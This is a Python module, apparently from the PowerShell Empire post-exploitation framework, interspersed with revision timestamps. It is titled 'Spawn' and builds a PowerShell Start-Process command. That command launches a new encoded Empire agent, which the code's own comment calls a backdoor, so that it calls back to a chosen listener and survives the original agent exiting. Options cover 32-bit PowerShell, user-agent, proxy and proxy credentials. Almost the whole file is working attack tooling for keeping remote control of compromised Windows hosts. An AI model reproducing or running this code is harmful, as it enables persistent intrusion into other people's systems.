2015-08-05 18:36:39 +00:00
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from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Spawn',
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'Author': ['@harmj0y'],
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'Description': ('Spawns a new agent in a new powershell.exe process.'),
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'Background' : False,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : True,
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'MinPSVersion' : '2',
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'Comments': []
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'Listener' : {
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'Description' : 'Listener to use.',
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'Required' : True,
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'Value' : ''
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},
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2015-11-29 20:20:16 +00:00
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'SysWow64' : {
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'Description' : 'Switch. Spawn a SysWow64 (32-bit) powershell.exe.',
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'Required' : False,
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'Value' : ''
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},
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2015-08-05 18:36:39 +00:00
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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# extract all of our options
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listenerName = self.options['Listener']['Value']
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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2015-11-29 20:20:16 +00:00
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sysWow64 = self.options['SysWow64']['Value']
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2015-08-05 18:36:39 +00:00
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isEmpire = self.mainMenu.listeners.is_listener_empire(listenerName)
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if not isEmpire:
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print helpers.color("[!] Empire listener required!")
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return ""
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# generate the launcher code
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
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if launcher == "":
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print helpers.color("[!] Error in launcher command generation.")
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return ""
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else:
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# transform the backdoor into something launched by powershell.exe
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# so it survives the agent exiting
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2015-11-29 20:20:16 +00:00
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if sysWow64.lower() == "true":
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stagerCode = "$Env:SystemRoot\\SysWow64\\WindowsPowershell\\v1.0\\" + launcher
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else:
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stagerCode = "$Env:SystemRoot\\System32\\WindowsPowershell\\v1.0\\" + launcher
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2015-08-05 18:36:39 +00:00
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parts = stagerCode.split(" ")
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2015-11-29 20:20:16 +00:00
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code = "Start-Process -NoNewWindow -FilePath \"%s\" -ArgumentList '%s'; 'Agent spawned to %s'" % (parts[0], " ".join(parts[1:]), listenerName)
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2015-08-05 18:36:39 +00:00
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return code
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